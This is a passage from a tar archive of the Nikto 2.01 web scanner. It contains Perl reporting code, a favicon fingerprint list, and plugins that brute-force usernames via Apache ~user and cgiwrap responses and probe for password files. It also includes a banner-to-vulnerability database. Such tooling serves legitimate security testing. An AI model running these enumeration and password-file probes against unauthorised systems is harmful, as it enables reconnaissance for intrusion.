/^csv/i) { print OUT "\n\"Test Options\",\"$CLI{all_options}\"\n"; } close(OUT); return; } ############################################################################### sub write_kbase { my $entry_id = $_[0]; my $kb_entry .= "\"$entry_id\",\"ip:$TARGETS{$CURRENT_HOST_ID}{ip}\",\"port:$CURRENT_PORT\",\"ssl:$TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{ssl}\","; $kb_entry .= "\"name:$TARGETS{$CURRENT_HOST_ID}{hostname}\",\"start:$TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{start_time_epoch}\","; $kb_entry .= "\"stop:$TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{stop_time_epoch}\",\"tests:$TARGETS{$CURRENT_HOST_ID}{total_checks}\","; $kb_entry .= "\"found:$TARGETS{$CURRENT_HOST_ID}{total_vulns}\",\"ver:$NIKTO{version}\",\"banner:$TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}\","; foreach my $p (keys %{ $TARGETS{$CURRENT_HOST_ID}{positives} }) { $kb_entry .= "\"p:$p\","; } foreach my $m (@KB_MSGS) { $m =~ s/^\+ //; $kb_entry .= "\"m:$m\","; } $kb_entry =~ s/\,$//; open(KB, ">>$NIKTO{kbase}") or print "+ ERROR: Unable open '$NIKTO{kbase}' for write:$@\n"; print KB "$kb_entry\n"; close(KB); } ############################################################################### sub next_kbase_id { my $id = 0; open(KB, "<$NIKTO{kbase}"); while (<KB>) { my @rec = parse_csv($_); if ($rec[0] > $id) { $id = $rec[0]; } } close(KB); $id++; return $id; } ############################################################################### sub open_templates { my @ts = dirlist($NIKTO{templatedir}); my $have_cirt = 0; foreach my $t (@ts) { open(T, "<$NIKTO{templatedir}/$t"); my @TEMPLATE = <T>; close(T); my $T = join("", @TEMPLATE); $t =~ s/\..*$//; # :-) if ($T =~ /\s?20[0-9]{2}\s?CIRT, Inc/i) { $have_cirt = 1; } $TEMPLATES{$t} = $T; } if (!$have_cirt) { print "\nIt looks like you may have removed the Nikto copyright from the reports. Please remember that this program is copyrighted, takes a lot of work to maintain, and is completely free for non-commercial use.\n\nIf this message has been a mistake, please notify sullo\@cirt.net.\n\n"; } return; } ############################################################################### sub proc_template { my $template = $_[0] || return; my %variables; my $protocol = "http"; if ($TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{ssl}) { $protocol .= "s"; } $variables{"#TEMPL_HCTR"} = $NIKTO{TEMPL_HCTR}; $variables{"#TEMPL_END"} = $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{stop_time_disp}; $variables{"#TEMPL_HOSTNAME"} = simple_enc($TARGETS{$CURRENT_HOST_ID}{hostname}); $variables{"#TEMPL_IP"} = simple_enc($TARGETS{$CURRENT_HOST_ID}{ip}); $variables{"#TEMPL_ITEMS_TESTED"} = $TARGETS{$CURRENT_HOST_ID}{total_checks}; $variables{"#TEMPL_PORT"} = $CURRENT_PORT; $variables{"#TEMPL_START"} = $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{start_time_disp}; $variables{"#TEMPL_NIKTO_VER"} = $NIKTO{version}; $variables{"#TEMPL_BANNER"} = simple_enc($TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{banner}); $variables{"#TEMPL_NIKTO_CLI"} = $CLI{all_options}; $variables{"#TEMPL_CTR"} = $TARGETS{$CURRENT_HOST_ID}{total_checks}; $variables{"#TEMPL_NIKTO_HOSTS_TESTED"} = $COUNTERS{hosts_total}; $variables{"#TEMPL_ELAPSED"} = $TARGETS{$CURRENT_HOST_ID}{ports}{$CURRENT_PORT}{elapsed}; $variables{"#TEMPL_LINK_NAME"} = "$protocol://$TARGETS{$CURRENT_HOST_ID}{hostname}:$CURRENT_PORT"; $variables{"#TEMPL_LINK_IP"} = "<a href=\"$protocol://$TARGETS{$CURRENT_HOST_ID}{ip}:$CURRENT_PORT/\">$protocol://$TARGETS{$CURRENT_HOST_ID}{ip}:$CURRENT_PORT/</a>"; $variables{"#TEMPL_ITEMS_FOUND"} = $TARGETS{$CURRENT_HOST_ID}{total_vulns}; if ($TARGETS{$CURRENT_HOST_ID}{hostname} ne "") { $variables{"#TEMPL_LINK_NAME"} = "<a href=\"$protocol://$TARGETS{$CURRENT_HOST_ID}{hostname}:$CURRENT_PORT/\">$protocol://$TARGETS{$CURRENT_HOST_ID}{hostname}:$CURRENT_PORT/</a>"; } else { $variables{"#TEMPL_LINK_NAME"} = "N/A"; } foreach my $var (keys %variables) { $template =~ s/$var/$variables{$var}/g; } # Scanner Messages Handling if ($template =~ /\#TEMPL_SMMSG/) { my $template_orig = $template; my $template_final = ""; foreach my $m (@KB_MSGS) { my $OSVDB = ""; if ($m =~ /^OSVDB-([0-9]+):/) { $OSVDB = $1; } if ($OSVDB ne "") { $OSVDB = "<a href=\"http://osvdb.org/$OSVDB\">OSVDB-$OSVDB</a>"; } $template =~ s/\#TEMPL_SMMSG/$m/; $template =~ s/\#TEMPL_OSVDB/$OSVDB/; $template_final .= $template; $template = $template_orig; } $template = "$template_final\n<br>"; } # Positives Handling if ($template =~ /\#TEMPL_MSG/) { my $template_orig = $template; my $template_final = ""; foreach my $p (keys %{ $TARGETS{$CURRENT_HOST_ID}{positives} }) { $TESTS{$p}{uri} = simple_enc($TESTS{$p}{uri}); $variables{"#TEMPL_URI"} = $TESTS{$p}{uri}; $variables{"#TEMPL_MSG"} = $TESTS{$p}{message}; $variables{"#TEMPL_HTTP_METHOD"} = $TESTS{$p}{method}; # this should be commented until the URI encoding is figured out... otherwise we're open to XSS in reports. doh. # $ENC_URI=simple_enc($TESTS{$p}{uri}); # $variables{"#TEMPL_ITEM_IP_LINK"}="<a href=\"$protocol://$TARGETS{$CURRENT_HOST_ID}{ip}:$CURRENT_PORT$TESTS{$p}{uri}\">$protocol://$TARGETS{$CURRENT_HOST_ID}{ip}:$CURRENT_PORT$ENC_URI</a>"; # if ($TARGETS{$CURRENT_HOST_ID}{hostname} ne "") { $variables{"#TEMPL_ITEM_NAME_LINK"}="<a href=\"$protocol://$TARGETS{$CURRENT_HOST_ID}{hostname}:$CURRENT_PORT$TESTS{$p}{uri}\">$protocol://$TARGETS{$CURRENT_HOST_ID}{hostname}:$CURRENT_PORT$ENC_URI</a><br>"; } # $variables{"#TEMPL_ITEM_IP_LINK"}="<a href=\"$protocol://$TARGETS{$CURRENT_HOST_ID}{ip}:$CURRENT_PORT$ENC_URI\">$protocol://$TARGETS{$CURRENT_HOST_ID}{ip}:$CURRENT_PORT$ENC_URI</a>"; # if ($TARGETS{$CURRENT_HOST_ID}{hostname} ne "") { $variables{"#TEMPL_ITEM_NAME_LINK"}="<a href=\"$protocol://$TARGETS{$CURRENT_HOST_ID}{hostname}:$CURRENT_PORT$ENC_URI\">$protocol://$TARGETS{$CURRENT_HOST_ID}{hostname}:$CURRENT_PORT$ENC_URI</a><br>"; } $variables{"#TEMPL_ITEM_IP_LINK"} = "$protocol://$variables{\"#TEMPL_IP\"}:$CURRENT_PORT$TESTS{$p}{uri}"; if ($TARGETS{$CURRENT_HOST_ID}{hostname} ne "") { $variables{"#TEMPL_ITEM_NAME_LINK"} = "$protocol://$variables{\"#TEMPL_HOSTNAME\"}:$CURRENT_PORT$TESTS{$p}{uri}<br>"; } else { $variables{"#TEMPL_ITEM_NAME_LINK"} = ""; } $OSVDB = ""; foreach my $o (split(/ /, $TESTS{$p}{osvdb})) { $OSVDB .= "<a href=\"http://osvdb.org/$o\" title=\"More vuln information on OSVDB.org\">OSVDB-$o</a><br>\n"; } $template =~ s/\#TEMPL_OSVDB/$OSVDB/; foreach my $var (keys %variables) { $template =~ s/$var/$variables{$var}/g; } $template_final .= $template; $template = $template_orig; } $template = "$template_final\n<br>"; } return $template; } ############################################################################### sub simple_enc { my $var = $_[0] || return; $var =~ s/</</g; $var =~ s/>/>/g; $var =~ s/"/"/g; return $var; } ############################################################################### sub write_output { my $htm; if ($CLI{format} =~ /html?/i) { $NIKTO{TMPL_HCTR}++; # htm_summary if (!$NIKTO{TMPL_SUMMARY}) { $htm = proc_template($TEMPLATES{htm_summary}); print OUT "$htm\n"; $NIKTO{TMPL_SUMMARY} = 1; } # htm_host_head $htm = proc_template($TEMPLATES{htm_host_head}); print OUT "$htm\n"; # htm_host_sm $htm = proc_template($TEMPLATES{htm_host_im}); print OUT "$htm\n"; # htm_host_item $htm = proc_template($TEMPLATES{htm_host_item}); print OUT "$htm\n"; # htm_end $htm = proc_template($TEMPLATES{htm_end}); print OUT "$htm\n"; } return; } ############################################################################### sub nikto_reports { } # so core doesn't freak 1; ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/db_favicon�����������������������������������������������������������������������0000664�0000764�0000764�00000003543�10722666046�015364� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.001 #LASTMOD,11.26.2007 # http://www.cirt.net # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from CIRT, Inc. # (c) 2007 CIRT, Inc., All Rights Reserved. # By sending any database updates to CIRT, Inc., it is assumed that you # grant CIRT, Inc., the unlimited, non-exclusive right to reuse, modify and relicense the changes. ####################################################################### "9ceae7a3c88fc451d59e24d8d5f6f166","Plesk managed system" "71e30c507ca3fa005e2d1322a5aa8fb2","Apache on Redhat" "b25dbe60830705d98ba3aaf0568c456a","iPlanet Web Server Enterprise Edition 6.0" "226ffc5e483b85ec261654fe255e60be","Netscape 4.1" "41e2c893098b3ed9fc14b821a2e14e73","Netscape 6.0" "f1876a80546b3986dbb79bad727b0374","NetScreen WebUI" "799f70b71314a7508326d1d2f68f7519","JBoss Server" "f5f2df7eec0d1c3c10b58960f3f8fb26","Horde Groupware Webmail 1.0.1 (Mnemo Theme)" "4644f2d45601037b8423d45e13194c93","Apache Tomcat" "31aa07fe236ee504c890a61d1f7f0a97","Apache 2.2.4" "bd0f7466d35e8ba6cedd9c27110c5c41","Serena Collage 4.6" "7cc1a052c86cc3d487957f7092a6d8c3","Horde IMP 3.1.4 or Horde Groupware Webmail 1.0.1" "f567fd4927f9693a7a2d6cacf21b51b6","Horde IMP 4.1.4 or Horde Groupware Webmail 1.0.1" "a28ebcac852795fe30d8e99a23d377c1","SunOne 6.1" "81df3601d6dc13cbc6bd8212ef50dd29","Horde Groupware Webmail 1.0.1 (Nag Theme)" "919e132a62ea07fce13881470ba70293","Horde Groupware Webmail 1.0.1 (Ingo Theme)" "ff260e80f5f9ca4b779fbd34087f13cf","Horde Groupware Webmail 1.0.1 (Turba Theme)" "4987120f4fb1dc454f889e8c92f6dabe","Google Web Server" "a5b126cdeaa3081f77a22b3e43730942","Horde Groupware Webmail 1.0.1 (Kronolith Theme)" "dc0816f371699823e1e03e0078622d75","Aruba Networks device" "d41d8cd98f00b204e9800998ecf8427e","Apache HTTP Server on Apple Mac OS X Server" �������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/nikto_user_enum_cgiwrap.plugin���������������������������������������������������0000664�0000764�0000764�00000007070�10717436030�021500� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.01 #LASTMOD,11.16.2007 ############################################################################### # Copyright (C) 2004 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # Enumeration of user svia the cgiwrap program ############################################################################### # NOTES # This plugin tries to enumerate all the users # in the system (of course the bruteforce attack is limited to a given range). # The cgiwrap program allows you to determine user names based on the error responses. # this plugin is a hack of nikto_apacheusers.plugin, which was originally written by # Javier Fernandez-Sanguino Pe–a. ############################################################################### sub nikto_user_enum_cgiwrap { if ($CLI{mutate} !~ /4/) { return; } my @CGIWRAPS; my $valid = $ctr = 0; my @CFGCGI = (split(/ /, $VARIABLES{"\@CGIDIRS"})); my $msg; # test for locations of cgiwrap files foreach my $cgidir (@CFGCGI) { my $url = "$cgidir" . "cgiwrap"; (my $RES, $CONTENT) = fetch("$url", "GET"); if ($CONTENT =~ /check your URL/i) { push(@CGIWRAPS, "$url"); $valid++; } } if ($valid eq 0) { return; } nprint("- Enumerating users via cgiwrap (1 to 5 characters).", "d"); # Note1: This script only generates names with letters A-Z (no numbers) # # Note2: this script will generate SUM(26^n)(n=$min to $max) # it's probably faster to write this to a file than to generate it # on the fly BTW. # # Of course, it could be optimized to skip some "strange" # combinations of usernames, but hey, then it wouldn't # be 'brute force' would it? (jfs) foreach $cgiwrap (@CGIWRAPS) { $start = "a"; while (length($start) <= 5) { if (($ctr % 500) eq 0) { nprint("\tUser enumeration guess $ctr ($cgiwrap/~$start)", "d"); } (my $RES, $CONTENT) = fetch("$cgiwrap/~" . $start, "GET"); if ($CONTENT !~ /unable to find/i) # this is a valid user { $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; if ($CONTENT =~ /less than configured minimum/) { $msg = "is a valid user on the system and may have a UID below 100. Recompile cgiwrap with the '--with-quiet-errors' option to stop user enumeration."; } else { $msg = "is a valid user on the system. Recompile cgiwrap with the '--with-quiet-errors' option to stop user enumeration."; } nprint("+ $cgiwrap/~" . $start . " - '$start' $msg.", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; $start++; $ctr++; } } } } 1; ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/nikto_plugin_order.txt�����������������������������������������������������������0000664�0000764�0000764�00000002444�10715676107�020005� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.00 #LASTMOD,11.11.2007 ############################################################################### # Copyright (C) 2004 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ##################################################################### ############################################################################### # PURPOSE # Order to run the plugins ############################################################################### nikto_reports nikto_single nikto_headers nikto_favicon nikto_robots nikto_httpoptions nikto_outdated nikto_msgs nikto_put_del_test nikto_apacheusers nikto_mutate nikto_passfiles nikto_user_enum_apache nikto_user_enum_cgiwrap ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/nikto_favicon.plugin�������������������������������������������������������������0000664�0000764�0000764�00000003523�10717436030�017406� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.01 #LASTMOD,11.16.2007 ############################################################################### # Copyright (C) 2007 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # Get a favicon.ico file & MD5 fingerprint ############################################################################### sub nikto_favicon { LW2::http_close(\%request); # force-close any old connections LW2::http_reset(); $request{'whisker'}->{'uri'}="/favicon.ico"; LW2::http_fixup_request(\%request); dump_var("Request Hash", \%request); if ($CLI{pause} > 0) { sleep $CLI{pause}; } LW2::http_do_request_timeout(\%request,\%result,5); dump_var("Result Hash", \%result); $hash = LW2::md5($result{'whisker'}->{'data'}); $hash=~s/^.*://; nprint("Got favicon.ico hash:$hash","d",""); foreach my $match_hash (keys %FAVICONS) { if ($hash eq $match_hash) { nprint("+ OSVDB-0: /favicon.ico file identifies this server as: $FAVICONS{$match_hash}", "", "kb"); $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; } } } 1; �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/nikto_passfiles.plugin�����������������������������������������������������������0000664�0000764�0000764�00000012020�10715337745�017755� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.00 #LASTMOD,11.10.2007 ############################################################################### # Copyright (C) 2004 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # Look for password file names ############################################################################### sub nikto_passfiles { if ($CLI{mutate} !~ /2/) { return; } my @DIRS = (split(/ /, $VARIABLES{"\@PASSWORDDIRS"})); my @PFILES = (split(/ /, $VARIABLES{"\@PASSWORDFILES"})); my @EXTS = qw(asp bak dat data dbc dbf exe htm html htx ini lst txt xml php php3 phtml); my $mctr = 0; my $m_test = max_test_id(); foreach $dir (@DIRS) { foreach $f (@PFILES) { if ($f eq "") { next; } # dir/file $mctr++; $m_test++; $TESTS{$m_test}{uri} = LW2::uri_normalize("$dir$f"); $TESTS{$m_test}{message} = "URL created via password mutate option."; $TESTS{$m_test}{match_1} = 200; $TESTS{$m_test}{match_1_and} = ""; $TESTS{$m_test}{match_1_or} = ""; $TESTS{$m_test}{fail_1} = ""; $TESTS{$m_test}{fail_2} = ""; $TESTS{$m_test}{method} = "GET"; $TESTS{$m_test}{data} = ""; $TESTS{$m_test}{headers} = ""; $TESTS{$m_test}{category} = 1; $TESTS{$m_test}{osvdb} = 3092; $TESTS{$m_test}{server} = "generic"; foreach $ext (@EXTS) { # dir/file.ext $mctr++; $m_test++; $TESTS{$m_test}{uri} = LW2::uri_normalize("$dir$f.$ext"); $TESTS{$m_test}{message} = "URL created via password mutate option."; $TESTS{$m_test}{match_1} = 200; $TESTS{$m_test}{match_1_and} = ""; $TESTS{$m_test}{match_1_or} = ""; $TESTS{$m_test}{fail_1} = ""; $TESTS{$m_test}{fail_2} = ""; $TESTS{$m_test}{method} = "GET"; $TESTS{$m_test}{data} = ""; $TESTS{$m_test}{headers} = ""; $TESTS{$m_test}{category} = 1; $TESTS{$m_test}{osvdb} = 3092; $TESTS{$m_test}{server} = "generic"; foreach my $cgi (@CGIDIRS) { # dir/file.ext $mctr++; $m_test++; $TESTS{$m_test}{uri} = LW2::uri_normalize("$cgi$dir$f.$ext"); $TESTS{$m_test}{message} = "URL created via password mutate option."; $TESTS{$m_test}{match_1} = 200; $TESTS{$m_test}{match_1_and} = ""; $TESTS{$m_test}{match_1_or} = ""; $TESTS{$m_test}{fail_1} = ""; $TESTS{$m_test}{fail_2} = ""; $TESTS{$m_test}{method} = "GET"; $TESTS{$m_test}{data} = ""; $TESTS{$m_test}{headers} = ""; $TESTS{$m_test}{category} = 1; $TESTS{$m_test}{osvdb} = 3092; $TESTS{$m_test}{server} = "generic"; # dir/file $mctr++; $m_test++; $TESTS{$m_test}{uri} = LW2::uri_normalize("$cgi$dir$f"); $TESTS{$m_test}{message} = "URL created via password mutate option."; $TESTS{$m_test}{match_1} = 200; $TESTS{$m_test}{match_1_and} = ""; $TESTS{$m_test}{match_1_or} = ""; $TESTS{$m_test}{fail_1} = ""; $TESTS{$m_test}{fail_2} = ""; $TESTS{$m_test}{method} = "GET"; $TESTS{$m_test}{data} = ""; $TESTS{$m_test}{headers} = ""; $TESTS{$m_test}{category} = 1; $TESTS{$m_test}{osvdb} = 3092; $TESTS{$m_test}{server} = "generic"; } } } } nprint("- $mctr password file checks loaded", "v"); } 1; ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/nikto_user_enum_apache.plugin����������������������������������������������������0000664�0000764�0000764�00000005072�10715337745�021300� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.00 #LASTMOD,11.10.2007 ############################################################################### # Copyright (C) 2004 CIRT, Inc. # # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; version 2 # of the License only. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. ############################################################################### ############################################################################### # PURPOSE # Enumeration of users and directories in system (as Apache's ~username) ############################################################################### # NOTES # This plugin tries to enumerate all the users and directories # in the system (of course the bruteforce attack is limited to a given range). # In some Apache/UNIX systems this might give out many local users # (which could later on be used for a ssh brute-force attack). # This plugin was originally written by Javier Fernandez-Sanguino Pe–a ############################################################################### sub nikto_user_enum_apache { if ($CLI{mutate} !~ /3/) { return; } nprint("- Enumerating Apache users (1 to 5 characters).", "d"); # Note1: This script only generates names with letters A-Z (no numbers) # # Note2: this script will generate SUM(26^n)(n=$min to $max) # it's probably faster to write this to a file than to generate it # on the fly BTW. # # Of course, it could be optimized to skip some "strange" # combinations of usernames, but hey, then it wouldn't # be 'brute force' would it? (jfs) my $text = "a"; my $ctr = 0; while (length($text) <= 5) { if (($ctr % 500) eq 0) { nprint("\tUser enumeration guess $ctr ($text)", "d"); } (my $RES, $CONTENT) = fetch("/~" . $text, "HEAD"); if ($RES eq 301 || $RES eq 200) # this is a valid user { $TARGETS{$CURRENT_HOST_ID}{total_vulns}++; nprint("+ /~" . $text . " - Is a valid user on the system.", "", "kb"); } $text++; $ctr++; } } 1; ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������nikto-2.01/plugins/db_server_msgs�������������������������������������������������������������������0000664�0000764�0000764�00000067104�10715340347�016274� 0����������������������������������������������������������������������������������������������������ustar �sullo���������������������������sullo������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������#VERSION,2.000 #LASTMOD,11.10.2007 # http://www.cirt.net/ # This file may only be distributed and used with the full Nikto package. # This file may not be used with any software product without written permission from CIRT, Inc. # (c) 2007 CIRT, Inc., All Rights Reserved. # By sending any database updates to CIRT, Inc., it is assumed that you # grant CIRT, Inc., the unlimited, non-exclusive right to reuse, modify and relicense the changes. "4D_WebSTAR_S\/5\.([0-2]|3\.[0-2])","May be vulnerable to multiple flaws. http://secunia.com/advisories/12063/" "4D_WebSTAR_S\/5\.([0-2]|3\.[01])","May be vulnerable to denial of service threw openssl implementation bug. http://secunia.com/advisories/11181/" "4D_WebSTAR_S\/5\.([0-3]|4[^.])","May be vulnerable to a buffer overflow in tomcat plugin URL. http://secunia.com/advisories/15278/" "4D_WebSTAR_S\/5\.3\.1","May be vulnerable to remote exploitable buffer overflow. http://secunia.com/advisories/9723/" "Abyss\/1\.0\.3","May be vulnerable to directory traversal by using '%5c%2e%2e%5c' type paths." "ADSM_HTTP\/","May be Tivoli server administration. Default account is admin/admin." "Acme.Serve/v1.7 of 13nov96","Java class Acme.Serve.Serve is used as an embedded server for many devices, including APC InfraStruXure Manager. This server string is the default for the servlet. Check for port 9090, which may have a browsable c:\ drive. See: http://www.acme.com/java/software/Acme.Serve.Serve.html" "AdSubtract","Adsubtract.com, a Windows proxy which removes popup ads, can be configure for remote access or localhost only." "Agranat-EMWeb","Most likely a printer." "alibaba","http://alibaba.austria.eu.net/ This server has lots of problems (overflows, etc)" "Allegro-Software-RomPager","Most likely a printer." "allegro-software","Most often a printer or other embedded device" "american sitebuilder","http://www.american.com/product1.html" "aolserver","http://www.aolserver.com/ runs on Dec OSF1" "Apache Tomcat\/4\.(0\.[1-4])|(1\.[1-11])[^0-9]","May be vulnerable to JSP source code exposure. CAN-2002-1148." "Apache Tomcat\/4\.0\.3","Apache Tomcat 4.0.3 Win 2000 server is vulnerable to a DoS attack. Upgrade to a 4.1.3beta or higher." "apache-ssl-us","http://apachessl.c2.net" "Apache\/.* Ben-SSL\/1\.([0-9][^0-9]|[0-3][0-9]|4[0-6])[^0-9]","This version of Apache-SSl is vulnerable to a buffer overflow." "Apache\/(1\.2\.([2-9].*|1[0-9])|1\.3\.([0-1].*|2[0-4]))","Apache 1.x up 1.2.34 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392." "Apache\/1\.0\.3","Probably a Xerox printer" "Apache\/1\.1\.1","May be able view directory contents regardless of index.html" "Apache\/1\.1\.3","This version has a mod_cookies buffer overflow" "Apache\/1\.3\.(0.*|1.*|2[0-6])","Apache 1.3 below 1.3.27 are vulnerable to a local buffer overflow which allows attackers to kill any process on the system. CAN-2002-0839." "Apache\/1\.3\.(0.*|1.*|2[0-8])","Apache 1.3 below 1.3.29 are vulnerable to overflows in mod_rewrite and mod_cgi. CAN-2003-0542." "Apache\/1\.3\.27","Windows and OS/2 version vulnerable to remote exploit. CAN-2003-0460" "Apache\/2\.0\.([0-2].*|3.*)","Apache 2.0 to 2.0.39 Windows may be vulnerable to arbitrary file retrieval. CAN-2002-0661." "Apache\/2\.0\.([0-2].*|3[0-8])","Apache 2.0 up 2.0.36 are vulnerable to a remote DoS and possible code execution. CAN-2002-0392." "Apache\/2\.0\.([0-3].*|4.[0-8])","Apache 2.0 to 2.0.48: overflows in mod_alias and mod_rewrite (OSVDB-2733, OSVDB-7611), mod_cgid may send the output of CGI to the incorrect client (OSVDB-15889)." "Apache\/2\.0\.([0-3].*|4[0-6])","Apache 2.0 up 2.0.46 are vulnerable to multiple remote problems. CAN-2003-0192. CAN-2003-0253. CAN-2003-0254. CERT VU#379828." "Apache\/2\.0\.([0-3].*|4[0-7])","Apache 2.0 up 2.0.47 are vulnerable to multiple remote problems in mod_rewrite and mod_cgi. CAN-2003-0789. CAN-2003-0542." "Apache\/2\.0\.([0-4].*|5\.[0-1])","Apache 2.0 to 2.0.51 contain multiple problems: overflow in apr-util (OSVDB-9994), config file variable overflow (OSVDB-9991), indirect lock refresh DoS (OSVDB-9948), SSL input filter DoS (OSVDB-9742), potential infinite loop (OSVDB-9523)." "Apache\/2\.0\.([0-4].*|5\.[0-2])","Apache 2.0 to 2.0.52 could allow bypassing of authentication via the Satisfy directive. CAN-2004-0811. OSVDB-10218." "Apache\/2\.0\.([0-4].*|5\.[0-3])","Apache 2.0 to 2.0.53 allows bypassing of an SSLCipherSuite setting. CAN-2004-0885. OSVDB-10637. Also contains a memory exhaustion DoS through MIME folded requests. CAN-2004-0942. OSVDB-11391" "Apache\/2\.0\.([0-4].*|5\.0)","Apache 2.0 to 2.0.50 contain a buffer overflow in FakeBasicAuth with trusted client certificates. CAN-2004-0488. OSVDB-6472. Also a DoS with certain input data. CAN-2004-0493. OSVDB-7269." "Apache\/2\.0\.(3[7-9]|4[0-5])","Apache versions 2.0.37 through 2.0.45 are vulnerable to a DoS in mod_dav. CAN-2003-0245." "Apache\/2\.0\.[0-4].*","Apache 2.0 to 2.0.49: memory leak in plain-HTTP-on-SSL-port handling (OSVDB-4182), a DoS with short-lived connections on rarely-accessed sockets (OSVDB-4383), and may allow unescaped data into logfiles (OSVDB-4382)." "Apache\/2\.0\.4[0-5]","Apache versions 2.0.40 through 2.0.45 are vulnerable to a DoS in basic authentication. CAN-2003-0189." "Apache\/2\.0\.43","Win9x and ME servers allow arbitrary code execution, DoS and/or arbitrary file retrieval. CAN-2003-0016. CAN-2003-0017." "Apache\/2\.0\.44","Apache 2.0.44 is vulnerable to a DoS when linefeed characters are submitted consecutively. CAN-2003-0132." "apachejserv\/1\.(0|1\.[0-1])","This version of Apache JServ allows files to be retrieved and possibly executed from outside the web root. CAN-2001-0307." "aserve","http://www.phone.net/aws" "ATPhttpd","http://www.redshift.com/~yramin/atp/atphttpd/ V0.4 contains a DoS by sending a GET 3000 chars long (many times). See securityoffice.net. Also see http://bespin.org/~qitest1 for more bugs/patches." "avenida","http://www.avenida.co.uk/" "Avirt","Check www.avirt.com for updates, some versions of the proxies have buffer overflows that allow attackers to run arbitrary commands." "awhttpd","http://pulsar.systes.net/awhttpd/ v2.2 has a local DoS if a user has write access to the HTML directory, see http://sec.angrypacket.com for more info." "BadBlue\/([0-1].*|2\.[0-9]{1}|2\.1[0-5]{1})","BadBlue Web server 2.15 allow remote users to execute commands on the machine. http://www.badblue.com/" "BadBlue\/(0\..*|1\.([0-6].*|7\.0))","BadBlue Web server 1.7.0 and below allows directories to be listed by appending a unicode % to the end of a string. 